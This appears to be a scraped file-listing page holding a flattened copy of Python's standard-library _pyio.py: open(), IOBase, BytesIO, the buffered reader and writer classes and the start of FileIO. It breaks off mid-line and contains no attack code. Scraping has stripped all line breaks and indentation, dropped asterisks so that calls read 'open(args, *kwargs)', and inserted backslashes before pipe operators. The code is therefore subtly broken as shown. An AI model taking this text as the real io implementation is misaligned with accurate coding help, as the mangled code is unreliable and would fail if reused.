sys.hash_info.modulus # hash values to use for positive and negative infinities, and nans _PyHASH_INF = sys.hash_info.inf _PyHASH_NAN = sys.hash_info.nan # _PyHASH_10INV is the inverse of 10 modulo the prime _PyHASH_MODULUS _PyHASH_10INV = pow(10, _PyHASH_MODULUS - 2, _PyHASH_MODULUS) del sys	223.33 KB	2024-04-17 17:55
📄 _pyio.py """ Python implementation of the io module. """ import os import abc import codecs import errno import stat import sys # Import _thread instead of threading to reduce startup cost from _thread import allocate_lock as Lock if sys.platform in {'win32', 'cygwin'}: from msvcrt import setmode as _setmode else: _setmode = None import io from io import (__all__, SEEK_SET, SEEK_CUR, SEEK_END) valid_seek_flags = {0, 1, 2} # Hardwired values if hasattr(os, 'SEEK_HOLE') : valid_seek_flags.add(os.SEEK_HOLE) valid_seek_flags.add(os.SEEK_DATA) # open() uses st_blksize whenever we can DEFAULT_BUFFER_SIZE = 8 * 1024 # bytes # NOTE: Base classes defined here are registered with the "official" ABCs # defined in io.py. We don't use real inheritance though, because we don't want # to inherit the C implementations. # Rebind for compatibility BlockingIOError = BlockingIOError def open(file, mode="r", buffering=-1, encoding=None, errors=None, newline=None, closefd=True, opener=None): r"""Open file and return a stream. Raise OSError upon failure. file is either a text or byte string giving the name (and the path if the file isn't in the current working directory) of the file to be opened or an integer file descriptor of the file to be wrapped. (If a file descriptor is given, it is closed when the returned I/O object is closed, unless closefd is set to False.) mode is an optional string that specifies the mode in which the file is opened. It defaults to 'r' which means open for reading in text mode. Other common values are 'w' for writing (truncating the file if it already exists), 'x' for exclusive creation of a new file, and 'a' for appending (which on some Unix systems, means that all writes append to the end of the file regardless of the current seek position). In text mode, if encoding is not specified the encoding used is platform dependent. (For reading and writing raw bytes use binary mode and leave encoding unspecified.) The available modes are: ========= =============================================================== Character Meaning --------- --------------------------------------------------------------- 'r' open for reading (default) 'w' open for writing, truncating the file first 'x' create a new file and open it for writing 'a' open for writing, appending to the end of the file if it exists 'b' binary mode 't' text mode (default) '+' open a disk file for updating (reading and writing) 'U' universal newline mode (deprecated) ========= =============================================================== The default mode is 'rt' (open for reading text). For binary random access, the mode 'w+b' opens and truncates the file to 0 bytes, while 'r+b' opens the file without truncation. The 'x' mode implies 'w' and raises an `FileExistsError` if the file already exists. Python distinguishes between files opened in binary and text modes, even when the underlying operating system doesn't. Files opened in binary mode (appending 'b' to the mode argument) return contents as bytes objects without any decoding. In text mode (the default, or when 't' is appended to the mode argument), the contents of the file are returned as strings, the bytes having been first decoded using a platform-dependent encoding or using the specified encoding if given. 'U' mode is deprecated and will raise an exception in future versions of Python. It has no effect in Python 3. Use newline to control universal newlines mode. buffering is an optional integer used to set the buffering policy. Pass 0 to switch buffering off (only allowed in binary mode), 1 to select line buffering (only usable in text mode), and an integer > 1 to indicate the size of a fixed-size chunk buffer. When no buffering argument is given, the default buffering policy works as follows: * Binary files are buffered in fixed-size chunks; the size of the buffer is chosen using a heuristic trying to determine the underlying device's "block size" and falling back on `io.DEFAULT_BUFFER_SIZE`. On many systems, the buffer will typically be 4096 or 8192 bytes long. * "Interactive" text files (files for which isatty() returns True) use line buffering. Other text files use the policy described above for binary files. encoding is the str name of the encoding used to decode or encode the file. This should only be used in text mode. The default encoding is platform dependent, but any encoding supported by Python can be passed. See the codecs module for the list of supported encodings. errors is an optional string that specifies how encoding errors are to be handled---this argument should not be used in binary mode. Pass 'strict' to raise a ValueError exception if there is an encoding error (the default of None has the same effect), or pass 'ignore' to ignore errors. (Note that ignoring encoding errors can lead to data loss.) See the documentation for codecs.register for a list of the permitted encoding error strings. newline is a string controlling how universal newlines works (it only applies to text mode). It can be None, '', '\n', '\r', and '\r\n'. It works as follows: * On input, if newline is None, universal newlines mode is enabled. Lines in the input can end in '\n', '\r', or '\r\n', and these are translated into '\n' before being returned to the caller. If it is '', universal newline mode is enabled, but line endings are returned to the caller untranslated. If it has any of the other legal values, input lines are only terminated by the given string, and the line ending is returned to the caller untranslated. * On output, if newline is None, any '\n' characters written are translated to the system default line separator, os.linesep. If newline is '', no translation takes place. If newline is any of the other legal values, any '\n' characters written are translated to the given string. closedfd is a bool. If closefd is False, the underlying file descriptor will be kept open when the file is closed. This does not work when a file name is given and must be True in that case. The newly created file is non-inheritable. A custom opener can be used by passing a callable as opener. The underlying file descriptor for the file object is then obtained by calling opener with (file, flags). opener must return an open file descriptor (passing os.open as opener results in functionality similar to passing None). open() returns a file object whose type depends on the mode, and through which the standard file operations such as reading and writing are performed. When open() is used to open a file in a text mode ('w', 'r', 'wt', 'rt', etc.), it returns a TextIOWrapper. When used to open a file in a binary mode, the returned class varies: in read binary mode, it returns a BufferedReader; in write binary and append binary modes, it returns a BufferedWriter, and in read/write mode, it returns a BufferedRandom. It is also possible to use a string or bytearray as a file for both reading and writing. For strings StringIO can be used like a file opened in a text mode, and for bytes a BytesIO can be used like a file opened in a binary mode. """ if not isinstance(file, int): file = os.fspath(file) if not isinstance(file, (str, bytes, int)): raise TypeError("invalid file: %r" % file) if not isinstance(mode, str): raise TypeError("invalid mode: %r" % mode) if not isinstance(buffering, int): raise TypeError("invalid buffering: %r" % buffering) if encoding is not None and not isinstance(encoding, str): raise TypeError("invalid encoding: %r" % encoding) if errors is not None and not isinstance(errors, str): raise TypeError("invalid errors: %r" % errors) modes = set(mode) if modes - set("axrwb+tU") or len(mode) > len(modes): raise ValueError("invalid mode: %r" % mode) creating = "x" in modes reading = "r" in modes writing = "w" in modes appending = "a" in modes updating = "+" in modes text = "t" in modes binary = "b" in modes if "U" in modes: if creating or writing or appending or updating: raise ValueError("mode U cannot be combined with 'x', 'w', 'a', or '+'") import warnings warnings.warn("'U' mode is deprecated", DeprecationWarning, 2) reading = True if text and binary: raise ValueError("can't have text and binary mode at once") if creating + reading + writing + appending > 1: raise ValueError("can't have read/write/append mode at once") if not (creating or reading or writing or appending): raise ValueError("must have exactly one of read/write/append mode") if binary and encoding is not None: raise ValueError("binary mode doesn't take an encoding argument") if binary and errors is not None: raise ValueError("binary mode doesn't take an errors argument") if binary and newline is not None: raise ValueError("binary mode doesn't take a newline argument") raw = FileIO(file, (creating and "x" or "") + (reading and "r" or "") + (writing and "w" or "") + (appending and "a" or "") + (updating and "+" or ""), closefd, opener=opener) result = raw try: line_buffering = False if buffering == 1 or buffering < 0 and raw.isatty(): buffering = -1 line_buffering = True if buffering < 0: buffering = DEFAULT_BUFFER_SIZE try: bs = os.fstat(raw.fileno()).st_blksize except (OSError, AttributeError): pass else: if bs > 1: buffering = bs if buffering < 0: raise ValueError("invalid buffering size") if buffering == 0: if binary: return result raise ValueError("can't have unbuffered text I/O") if updating: buffer = BufferedRandom(raw, buffering) elif creating or writing or appending: buffer = BufferedWriter(raw, buffering) elif reading: buffer = BufferedReader(raw, buffering) else: raise ValueError("unknown mode: %r" % mode) result = buffer if binary: return result text = TextIOWrapper(buffer, encoding, errors, newline, line_buffering) result = text text.mode = mode return result except: result.close() raise class DocDescriptor: """Helper for builtins.open.__doc__ """ def __get__(self, obj, typ): return ( "open(file, mode='r', buffering=-1, encoding=None, " "errors=None, newline=None, closefd=True)\n\n" + open.__doc__) class OpenWrapper: """Wrapper for builtins.open Trick so that open won't become a bound method when stored as a class variable (as dbm.dumb does). See initstdio() in Python/pylifecycle.c. """ __doc__ = DocDescriptor() def __new__(cls, args, kwargs): return open(args, *kwargs) # In normal operation, both `UnsupportedOperation`s should be bound to the # same object. try: UnsupportedOperation = io.UnsupportedOperation except AttributeError: class UnsupportedOperation(OSError, ValueError): pass class IOBase(metaclass=abc.ABCMeta): """The abstract base class for all I/O classes, acting on streams of bytes. There is no public constructor. This class provides dummy implementations for many methods that derived classes can override selectively; the default implementations represent a file that cannot be read, written or seeked. Even though IOBase does not declare read or write because their signatures will vary, implementations and clients should consider those methods part of the interface. Also, implementations may raise UnsupportedOperation when operations they do not support are called. The basic type used for binary data read from or written to a file is bytes. Other bytes-like objects are accepted as method arguments too. Text I/O classes work with str data. Note that calling any method (even inquiries) on a closed stream is undefined. Implementations may raise OSError in this case. IOBase (and its subclasses) support the iterator protocol, meaning that an IOBase object can be iterated over yielding the lines in a stream. IOBase also supports the :keyword:`with` statement. In this example, fp is closed after the suite of the with statement is complete: with open('spam.txt', 'r') as fp: fp.write('Spam and eggs!') """ ### Internal ### def _unsupported(self, name): """Internal: raise an OSError exception for unsupported operations.""" raise UnsupportedOperation("%s.%s() not supported" % (self.__class__.__name__, name)) ### Positioning ### def seek(self, pos, whence=0): """Change stream position. Change the stream position to byte offset pos. Argument pos is interpreted relative to the position indicated by whence. Values for whence are ints: 0 -- start of stream (the default); offset should be zero or positive * 1 -- current stream position; offset may be negative * 2 -- end of stream; offset is usually negative Some operating systems / file systems could provide additional values. Return an int indicating the new absolute position. """ self._unsupported("seek") def tell(self): """Return an int indicating the current stream position.""" return self.seek(0, 1) def truncate(self, pos=None): """Truncate file to size bytes. Size defaults to the current IO position as reported by tell(). Return the new size. """ self._unsupported("truncate") ### Flush and close ### def flush(self): """Flush write buffers, if applicable. This is not implemented for read-only and non-blocking streams. """ self._checkClosed() # XXX Should this return the number of bytes written??? __closed = False def close(self): """Flush and close the IO object. This method has no effect if the file is already closed. """ if not self.__closed: try: self.flush() finally: self.__closed = True def __del__(self): """Destructor. Calls close().""" # The try/except block is in case this is called at program # exit time, when it's possible that globals have already been # deleted, and then the close() call might fail. Since # there's nothing we can do about such failures and they annoy # the end users, we suppress the traceback. try: self.close() except: pass ### Inquiries ### def seekable(self): """Return a bool indicating whether object supports random access. If False, seek(), tell() and truncate() will raise OSError. This method may need to do a test seek(). """ return False def _checkSeekable(self, msg=None): """Internal: raise UnsupportedOperation if file is not seekable """ if not self.seekable(): raise UnsupportedOperation("File or stream is not seekable." if msg is None else msg) def readable(self): """Return a bool indicating whether object was opened for reading. If False, read() will raise OSError. """ return False def _checkReadable(self, msg=None): """Internal: raise UnsupportedOperation if file is not readable """ if not self.readable(): raise UnsupportedOperation("File or stream is not readable." if msg is None else msg) def writable(self): """Return a bool indicating whether object was opened for writing. If False, write() and truncate() will raise OSError. """ return False def _checkWritable(self, msg=None): """Internal: raise UnsupportedOperation if file is not writable """ if not self.writable(): raise UnsupportedOperation("File or stream is not writable." if msg is None else msg) @property def closed(self): """closed: bool. True iff the file has been closed. For backwards compatibility, this is a property, not a predicate. """ return self.__closed def _checkClosed(self, msg=None): """Internal: raise a ValueError if file is closed """ if self.closed: raise ValueError("I/O operation on closed file." if msg is None else msg) ### Context manager ### def __enter__(self): # That's a forward reference """Context management protocol. Returns self (an instance of IOBase).""" self._checkClosed() return self def __exit__(self, args): """Context management protocol. Calls close()""" self.close() ### Lower-level APIs ### # XXX Should these be present even if unimplemented? def fileno(self): """Returns underlying file descriptor (an int) if one exists. An OSError is raised if the IO object does not use a file descriptor. """ self._unsupported("fileno") def isatty(self): """Return a bool indicating whether this is an 'interactive' stream. Return False if it can't be determined. """ self._checkClosed() return False ### Readline[s] and writelines ### def readline(self, size=-1): r"""Read and return a line of bytes from the stream. If size is specified, at most size bytes will be read. Size should be an int. The line terminator is always b'\n' for binary files; for text files, the newlines argument to open can be used to select the line terminator(s) recognized. """ # For backwards compatibility, a (slowish) readline(). if hasattr(self, "peek"): def nreadahead(): readahead = self.peek(1) if not readahead: return 1 n = (readahead.find(b"\n") + 1) or len(readahead) if size >= 0: n = min(n, size) return n else: def nreadahead(): return 1 if size is None: size = -1 else: try: size_index = size.__index__ except AttributeError: raise TypeError(f"{size!r} is not an integer") else: size = size_index() res = bytearray() while size < 0 or len(res) < size: b = self.read(nreadahead()) if not b: break res += b if res.endswith(b"\n"): break return bytes(res) def __iter__(self): self._checkClosed() return self def __next__(self): line = self.readline() if not line: raise StopIteration return line def readlines(self, hint=None): """Return a list of lines from the stream. hint can be specified to control the number of lines read: no more lines will be read if the total size (in bytes/characters) of all lines so far exceeds hint. """ if hint is None or hint <= 0: return list(self) n = 0 lines = [] for line in self: lines.append(line) n += len(line) if n >= hint: break return lines def writelines(self, lines): """Write a list of lines to the stream. Line separators are not added, so it is usual for each of the lines provided to have a line separator at the end. """ self._checkClosed() for line in lines: self.write(line) io.IOBase.register(IOBase) class RawIOBase(IOBase): """Base class for raw binary I/O.""" # The read() method is implemented by calling readinto(); derived # classes that want to support read() only need to implement # readinto() as a primitive operation. In general, readinto() can be # more efficient than read(). # (It would be tempting to also provide an implementation of # readinto() in terms of read(), in case the latter is a more suitable # primitive operation, but that would lead to nasty recursion in case # a subclass doesn't implement either.) def read(self, size=-1): """Read and return up to size bytes, where size is an int. Returns an empty bytes object on EOF, or None if the object is set not to block and has no data to read. """ if size is None: size = -1 if size < 0: return self.readall() b = bytearray(size.__index__()) n = self.readinto(b) if n is None: return None del b[n:] return bytes(b) def readall(self): """Read until EOF, using multiple read() call.""" res = bytearray() while True: data = self.read(DEFAULT_BUFFER_SIZE) if not data: break res += data if res: return bytes(res) else: # b'' or None return data def readinto(self, b): """Read bytes into a pre-allocated bytes-like object b. Returns an int representing the number of bytes read (0 for EOF), or None if the object is set not to block and has no data to read. """ self._unsupported("readinto") def write(self, b): """Write the given buffer to the IO stream. Returns the number of bytes written, which may be less than the length of b in bytes. """ self._unsupported("write") io.RawIOBase.register(RawIOBase) from _io import FileIO RawIOBase.register(FileIO) class BufferedIOBase(IOBase): """Base class for buffered IO objects. The main difference with RawIOBase is that the read() method supports omitting the size argument, and does not have a default implementation that defers to readinto(). In addition, read(), readinto() and write() may raise BlockingIOError if the underlying raw stream is in non-blocking mode and not ready; unlike their raw counterparts, they will never return None. A typical implementation should not inherit from a RawIOBase implementation, but wrap one. """ def read(self, size=-1): """Read and return up to size bytes, where size is an int. If the argument is omitted, None, or negative, reads and returns all data until EOF. If the argument is positive, and the underlying raw stream is not 'interactive', multiple raw reads may be issued to satisfy the byte count (unless EOF is reached first). But for interactive raw streams (XXX and for pipes?), at most one raw read will be issued, and a short result does not imply that EOF is imminent. Returns an empty bytes array on EOF. Raises BlockingIOError if the underlying raw stream has no data at the moment. """ self._unsupported("read") def read1(self, size=-1): """Read up to size bytes with at most one read() system call, where size is an int. """ self._unsupported("read1") def readinto(self, b): """Read bytes into a pre-allocated bytes-like object b. Like read(), this may issue multiple reads to the underlying raw stream, unless the latter is 'interactive'. Returns an int representing the number of bytes read (0 for EOF). Raises BlockingIOError if the underlying raw stream has no data at the moment. """ return self._readinto(b, read1=False) def readinto1(self, b): """Read bytes into buffer b, using at most one system call Returns an int representing the number of bytes read (0 for EOF). Raises BlockingIOError if the underlying raw stream has no data at the moment. """ return self._readinto(b, read1=True) def _readinto(self, b, read1): if not isinstance(b, memoryview): b = memoryview(b) b = b.cast('B') if read1: data = self.read1(len(b)) else: data = self.read(len(b)) n = len(data) b[:n] = data return n def write(self, b): """Write the given bytes buffer to the IO stream. Return the number of bytes written, which is always the length of b in bytes. Raises BlockingIOError if the buffer is full and the underlying raw stream cannot accept more data at the moment. """ self._unsupported("write") def detach(self): """ Separate the underlying raw stream from the buffer and return it. After the raw stream has been detached, the buffer is in an unusable state. """ self._unsupported("detach") io.BufferedIOBase.register(BufferedIOBase) class _BufferedIOMixin(BufferedIOBase): """A mixin implementation of BufferedIOBase with an underlying raw stream. This passes most requests on to the underlying raw stream. It does not* provide implementations of read(), readinto() or write(). """ def __init__(self, raw): self._raw = raw ### Positioning ### def seek(self, pos, whence=0): new_position = self.raw.seek(pos, whence) if new_position < 0: raise OSError("seek() returned an invalid position") return new_position def tell(self): pos = self.raw.tell() if pos < 0: raise OSError("tell() returned an invalid position") return pos def truncate(self, pos=None): # Flush the stream. We're mixing buffered I/O with lower-level I/O, # and a flush may be necessary to synch both views of the current # file state. self.flush() if pos is None: pos = self.tell() # XXX: Should seek() be used, instead of passing the position # XXX directly to truncate? return self.raw.truncate(pos) ### Flush and close ### def flush(self): if self.closed: raise ValueError("flush on closed file") self.raw.flush() def close(self): if self.raw is not None and not self.closed: try: # may raise BlockingIOError or BrokenPipeError etc self.flush() finally: self.raw.close() def detach(self): if self.raw is None: raise ValueError("raw stream already detached") self.flush() raw = self._raw self._raw = None return raw ### Inquiries ### def seekable(self): return self.raw.seekable() @property def raw(self): return self._raw @property def closed(self): return self.raw.closed @property def name(self): return self.raw.name @property def mode(self): return self.raw.mode def __getstate__(self): raise TypeError("can not serialize a '{0}' object" .format(self.__class__.__name__)) def __repr__(self): modname = self.__class__.__module__ clsname = self.__class__.__qualname__ try: name = self.name except Exception: return "<{}.{}>".format(modname, clsname) else: return "<{}.{} name={!r}>".format(modname, clsname, name) ### Lower-level APIs ### def fileno(self): return self.raw.fileno() def isatty(self): return self.raw.isatty() class BytesIO(BufferedIOBase): """Buffered I/O implementation using an in-memory bytes buffer.""" # Initialize _buffer as soon as possible since it's used by __del__() # which calls close() _buffer = None def __init__(self, initial_bytes=None): buf = bytearray() if initial_bytes is not None: buf += initial_bytes self._buffer = buf self._pos = 0 def __getstate__(self): if self.closed: raise ValueError("__getstate__ on closed file") return self.__dict__.copy() def getvalue(self): """Return the bytes value (contents) of the buffer """ if self.closed: raise ValueError("getvalue on closed file") return bytes(self._buffer) def getbuffer(self): """Return a readable and writable view of the buffer. """ if self.closed: raise ValueError("getbuffer on closed file") return memoryview(self._buffer) def close(self): if self._buffer is not None: self._buffer.clear() super().close() def read(self, size=-1): if self.closed: raise ValueError("read from closed file") if size is None: size = -1 else: try: size_index = size.__index__ except AttributeError: raise TypeError(f"{size!r} is not an integer") else: size = size_index() if size < 0: size = len(self._buffer) if len(self._buffer) <= self._pos: return b"" newpos = min(len(self._buffer), self._pos + size) b = self._buffer[self._pos : newpos] self._pos = newpos return bytes(b) def read1(self, size=-1): """This is the same as read. """ return self.read(size) def write(self, b): if self.closed: raise ValueError("write to closed file") if isinstance(b, str): raise TypeError("can't write str to binary stream") with memoryview(b) as view: n = view.nbytes # Size of any bytes-like object if n == 0: return 0 pos = self._pos if pos > len(self._buffer): # Inserts null bytes between the current end of the file # and the new write position. padding = b'\x00' * (pos - len(self._buffer)) self._buffer += padding self._buffer[pos:pos + n] = b self._pos += n return n def seek(self, pos, whence=0): if self.closed: raise ValueError("seek on closed file") try: pos_index = pos.__index__ except AttributeError: raise TypeError(f"{pos!r} is not an integer") else: pos = pos_index() if whence == 0: if pos < 0: raise ValueError("negative seek position %r" % (pos,)) self._pos = pos elif whence == 1: self._pos = max(0, self._pos + pos) elif whence == 2: self._pos = max(0, len(self._buffer) + pos) else: raise ValueError("unsupported whence value") return self._pos def tell(self): if self.closed: raise ValueError("tell on closed file") return self._pos def truncate(self, pos=None): if self.closed: raise ValueError("truncate on closed file") if pos is None: pos = self._pos else: try: pos_index = pos.__index__ except AttributeError: raise TypeError(f"{pos!r} is not an integer") else: pos = pos_index() if pos < 0: raise ValueError("negative truncate position %r" % (pos,)) del self._buffer[pos:] return pos def readable(self): if self.closed: raise ValueError("I/O operation on closed file.") return True def writable(self): if self.closed: raise ValueError("I/O operation on closed file.") return True def seekable(self): if self.closed: raise ValueError("I/O operation on closed file.") return True class BufferedReader(_BufferedIOMixin): """BufferedReader(raw[, buffer_size]) A buffer for a readable, sequential BaseRawIO object. The constructor creates a BufferedReader for the given readable raw stream and buffer_size. If buffer_size is omitted, DEFAULT_BUFFER_SIZE is used. """ def __init__(self, raw, buffer_size=DEFAULT_BUFFER_SIZE): """Create a new buffered reader using the given readable raw IO object. """ if not raw.readable(): raise OSError('"raw" argument must be readable.') _BufferedIOMixin.__init__(self, raw) if buffer_size <= 0: raise ValueError("invalid buffer size") self.buffer_size = buffer_size self._reset_read_buf() self._read_lock = Lock() def readable(self): return self.raw.readable() def _reset_read_buf(self): self._read_buf = b"" self._read_pos = 0 def read(self, size=None): """Read size bytes. Returns exactly size bytes of data unless the underlying raw IO stream reaches EOF or if the call would block in non-blocking mode. If size is negative, read until EOF or until read() would block. """ if size is not None and size < -1: raise ValueError("invalid number of bytes to read") with self._read_lock: return self._read_unlocked(size) def _read_unlocked(self, n=None): nodata_val = b"" empty_values = (b"", None) buf = self._read_buf pos = self._read_pos # Special case for when the number of bytes to read is unspecified. if n is None or n == -1: self._reset_read_buf() if hasattr(self.raw, 'readall'): chunk = self.raw.readall() if chunk is None: return buf[pos:] or None else: return buf[pos:] + chunk chunks = [buf[pos:]] # Strip the consumed bytes. current_size = 0 while True: # Read until EOF or until read() would block. chunk = self.raw.read() if chunk in empty_values: nodata_val = chunk break current_size += len(chunk) chunks.append(chunk) return b"".join(chunks) or nodata_val # The number of bytes to read is specified, return at most n bytes. avail = len(buf) - pos # Length of the available buffered data. if n <= avail: # Fast path: the data to read is fully buffered. self._read_pos += n return buf[pos:pos+n] # Slow path: read from the stream until enough bytes are read, # or until an EOF occurs or until read() would block. chunks = [buf[pos:]] wanted = max(self.buffer_size, n) while avail < n: chunk = self.raw.read(wanted) if chunk in empty_values: nodata_val = chunk break avail += len(chunk) chunks.append(chunk) # n is more than avail only when an EOF occurred or when # read() would have blocked. n = min(n, avail) out = b"".join(chunks) self._read_buf = out[n:] # Save the extra data in the buffer. self._read_pos = 0 return out[:n] if out else nodata_val def peek(self, size=0): """Returns buffered bytes without advancing the position. The argument indicates a desired minimal number of bytes; we do at most one raw read to satisfy it. We never return more than self.buffer_size. """ with self._read_lock: return self._peek_unlocked(size) def _peek_unlocked(self, n=0): want = min(n, self.buffer_size) have = len(self._read_buf) - self._read_pos if have < want or have <= 0: to_read = self.buffer_size - have current = self.raw.read(to_read) if current: self._read_buf = self._read_buf[self._read_pos:] + current self._read_pos = 0 return self._read_buf[self._read_pos:] def read1(self, size=-1): """Reads up to size bytes, with at most one read() system call.""" # Returns up to size bytes. If at least one byte is buffered, we # only return buffered bytes. Otherwise, we do one raw read. if size < 0: size = self.buffer_size if size == 0: return b"" with self._read_lock: self._peek_unlocked(1) return self._read_unlocked( min(size, len(self._read_buf) - self._read_pos)) # Implementing readinto() and readinto1() is not strictly necessary (we # could rely on the base class that provides an implementation in terms of # read() and read1()). We do it anyway to keep the _pyio implementation # similar to the io implementation (which implements the methods for # performance reasons). def _readinto(self, buf, read1): """Read data into buf with at most one system call.""" # Need to create a memoryview object of type 'b', otherwise # we may not be able to assign bytes to it, and slicing it # would create a new object. if not isinstance(buf, memoryview): buf = memoryview(buf) if buf.nbytes == 0: return 0 buf = buf.cast('B') written = 0 with self._read_lock: while written < len(buf): # First try to read from internal buffer avail = min(len(self._read_buf) - self._read_pos, len(buf)) if avail: buf[written:written+avail] = \ self._read_buf[self._read_pos:self._read_pos+avail] self._read_pos += avail written += avail if written == len(buf): break # If remaining space in callers buffer is larger than # internal buffer, read directly into callers buffer if len(buf) - written > self.buffer_size: n = self.raw.readinto(buf[written:]) if not n: break # eof written += n # Otherwise refill internal buffer - unless we're # in read1 mode and already got some data elif not (read1 and written): if not self._peek_unlocked(1): break # eof # In readinto1 mode, return as soon as we have some data if read1 and written: break return written def tell(self): return _BufferedIOMixin.tell(self) - len(self._read_buf) + self._read_pos def seek(self, pos, whence=0): if whence not in valid_seek_flags: raise ValueError("invalid whence value") with self._read_lock: if whence == 1: pos -= len(self._read_buf) - self._read_pos pos = _BufferedIOMixin.seek(self, pos, whence) self._reset_read_buf() return pos class BufferedWriter(_BufferedIOMixin): """A buffer for a writeable sequential RawIO object. The constructor creates a BufferedWriter for the given writeable raw stream. If the buffer_size is not given, it defaults to DEFAULT_BUFFER_SIZE. """ def __init__(self, raw, buffer_size=DEFAULT_BUFFER_SIZE): if not raw.writable(): raise OSError('"raw" argument must be writable.') _BufferedIOMixin.__init__(self, raw) if buffer_size <= 0: raise ValueError("invalid buffer size") self.buffer_size = buffer_size self._write_buf = bytearray() self._write_lock = Lock() def writable(self): return self.raw.writable() def write(self, b): if isinstance(b, str): raise TypeError("can't write str to binary stream") with self._write_lock: if self.closed: raise ValueError("write to closed file") # XXX we can implement some more tricks to try and avoid # partial writes if len(self._write_buf) > self.buffer_size: # We're full, so let's pre-flush the buffer. (This may # raise BlockingIOError with characters_written == 0.) self._flush_unlocked() before = len(self._write_buf) self._write_buf.extend(b) written = len(self._write_buf) - before if len(self._write_buf) > self.buffer_size: try: self._flush_unlocked() except BlockingIOError as e: if len(self._write_buf) > self.buffer_size: # We've hit the buffer_size. We have to accept a partial # write and cut back our buffer. overage = len(self._write_buf) - self.buffer_size written -= overage self._write_buf = self._write_buf[:self.buffer_size] raise BlockingIOError(e.errno, e.strerror, written) return written def truncate(self, pos=None): with self._write_lock: self._flush_unlocked() if pos is None: pos = self.raw.tell() return self.raw.truncate(pos) def flush(self): with self._write_lock: self._flush_unlocked() def _flush_unlocked(self): if self.closed: raise ValueError("flush on closed file") while self._write_buf: try: n = self.raw.write(self._write_buf) except BlockingIOError: raise RuntimeError("self.raw should implement RawIOBase: it " "should not raise BlockingIOError") if n is None: raise BlockingIOError( errno.EAGAIN, "write could not complete without blocking", 0) if n > len(self._write_buf) or n < 0: raise OSError("write() returned incorrect number of bytes") del self._write_buf[:n] def tell(self): return _BufferedIOMixin.tell(self) + len(self._write_buf) def seek(self, pos, whence=0): if whence not in valid_seek_flags: raise ValueError("invalid whence value") with self._write_lock: self._flush_unlocked() return _BufferedIOMixin.seek(self, pos, whence) def close(self): with self._write_lock: if self.raw is None or self.closed: return # We have to release the lock and call self.flush() (which will # probably just re-take the lock) in case flush has been overridden in # a subclass or the user set self.flush to something. This is the same # behavior as the C implementation. try: # may raise BlockingIOError or BrokenPipeError etc self.flush() finally: with self._write_lock: self.raw.close() class BufferedRWPair(BufferedIOBase): """A buffered reader and writer object together. A buffered reader object and buffered writer object put together to form a sequential IO object that can read and write. This is typically used with a socket or two-way pipe. reader and writer are RawIOBase objects that are readable and writeable respectively. If the buffer_size is omitted it defaults to DEFAULT_BUFFER_SIZE. """ # XXX The usefulness of this (compared to having two separate IO # objects) is questionable. def __init__(self, reader, writer, buffer_size=DEFAULT_BUFFER_SIZE): """Constructor. The arguments are two RawIO instances. """ if not reader.readable(): raise OSError('"reader" argument must be readable.') if not writer.writable(): raise OSError('"writer" argument must be writable.') self.reader = BufferedReader(reader, buffer_size) self.writer = BufferedWriter(writer, buffer_size) def read(self, size=-1): if size is None: size = -1 return self.reader.read(size) def readinto(self, b): return self.reader.readinto(b) def write(self, b): return self.writer.write(b) def peek(self, size=0): return self.reader.peek(size) def read1(self, size=-1): return self.reader.read1(size) def readinto1(self, b): return self.reader.readinto1(b) def readable(self): return self.reader.readable() def writable(self): return self.writer.writable() def flush(self): return self.writer.flush() def close(self): try: self.writer.close() finally: self.reader.close() def isatty(self): return self.reader.isatty() or self.writer.isatty() @property def closed(self): return self.writer.closed class BufferedRandom(BufferedWriter, BufferedReader): """A buffered interface to random access streams. The constructor creates a reader and writer for a seekable stream, raw, given in the first argument. If the buffer_size is omitted it defaults to DEFAULT_BUFFER_SIZE. """ def __init__(self, raw, buffer_size=DEFAULT_BUFFER_SIZE): raw._checkSeekable() BufferedReader.__init__(self, raw, buffer_size) BufferedWriter.__init__(self, raw, buffer_size) def seek(self, pos, whence=0): if whence not in valid_seek_flags: raise ValueError("invalid whence value") self.flush() if self._read_buf: # Undo read ahead. with self._read_lock: self.raw.seek(self._read_pos - len(self._read_buf), 1) # First do the raw seek, then empty the read buffer, so that # if the raw seek fails, we don't lose buffered data forever. pos = self.raw.seek(pos, whence) with self._read_lock: self._reset_read_buf() if pos < 0: raise OSError("seek() returned invalid position") return pos def tell(self): if self._write_buf: return BufferedWriter.tell(self) else: return BufferedReader.tell(self) def truncate(self, pos=None): if pos is None: pos = self.tell() # Use seek to flush the read buffer. return BufferedWriter.truncate(self, pos) def read(self, size=None): if size is None: size = -1 self.flush() return BufferedReader.read(self, size) def readinto(self, b): self.flush() return BufferedReader.readinto(self, b) def peek(self, size=0): self.flush() return BufferedReader.peek(self, size) def read1(self, size=-1): self.flush() return BufferedReader.read1(self, size) def readinto1(self, b): self.flush() return BufferedReader.readinto1(self, b) def write(self, b): if self._read_buf: # Undo readahead with self._read_lock: self.raw.seek(self._read_pos - len(self._read_buf), 1) self._reset_read_buf() return BufferedWriter.write(self, b) class FileIO(RawIOBase): _fd = -1 _created = False _readable = False _writable = False _appending = False _seekable = None _closefd = True def __init__(self, file, mode='r', closefd=True, opener=None): """Open a file. The mode can be 'r' (default), 'w', 'x' or 'a' for reading, writing, exclusive creation or appending. The file will be created if it doesn't exist when opened for writing or appending; it will be truncated when opened for writing. A FileExistsError will be raised if it already exists when opened for creating. Opening a file for creating implies writing so this mode behaves in a similar way to 'w'. Add a '+' to the mode to allow simultaneous reading and writing. A custom opener can be used by passing a callable as opener. The underlying file descriptor for the file object is then obtained by calling opener with (name, flags). opener must return an open file descriptor (passing os.open as opener results in functionality similar to passing None). """ if self._fd >= 0: # Have to close the existing file first. try: if self._closefd: os.close(self._fd) finally: self._fd = -1 if isinstance(file, float): raise TypeError('integer argument expected, got float') if isinstance(file, int): fd = file if fd < 0: raise ValueError('negative file descriptor') else: fd = -1 if not isinstance(mode, str): raise TypeError('invalid mode: %s' % (mode,)) if not set(mode) <= set('xrwab+'): raise ValueError('invalid mode: %s' % (mode,)) if sum(c in 'rwax' for c in mode) != 1 or mode.count('+') > 1: raise ValueError('Must have exactly one of create/read/write/append ' 'mode and at most one plus') if 'x' in mode: self._created = True self._writable = True flags = os.O_EXCL \| os.O_CREAT elif 'r' in mode: self._readable = True flags = 0 elif 'w' in mode: self._writable = True flags = os.O_CREAT \| os.O_TRUNC elif 'a' in mode: self._writable = True self._appending = True flags = os.O_APPEND \| os.O_CREAT if '+' in mode: self._readable = True self._writable = True if self._readable and self._writable: flags \|= os.O_RDWR elif self._readable: flags \|= os.O_RDONLY else: flags \|= os.O_WRONLY flags \|= getattr(os, 'O_BINARY', 0) noinherit_flag = (getattr(os, 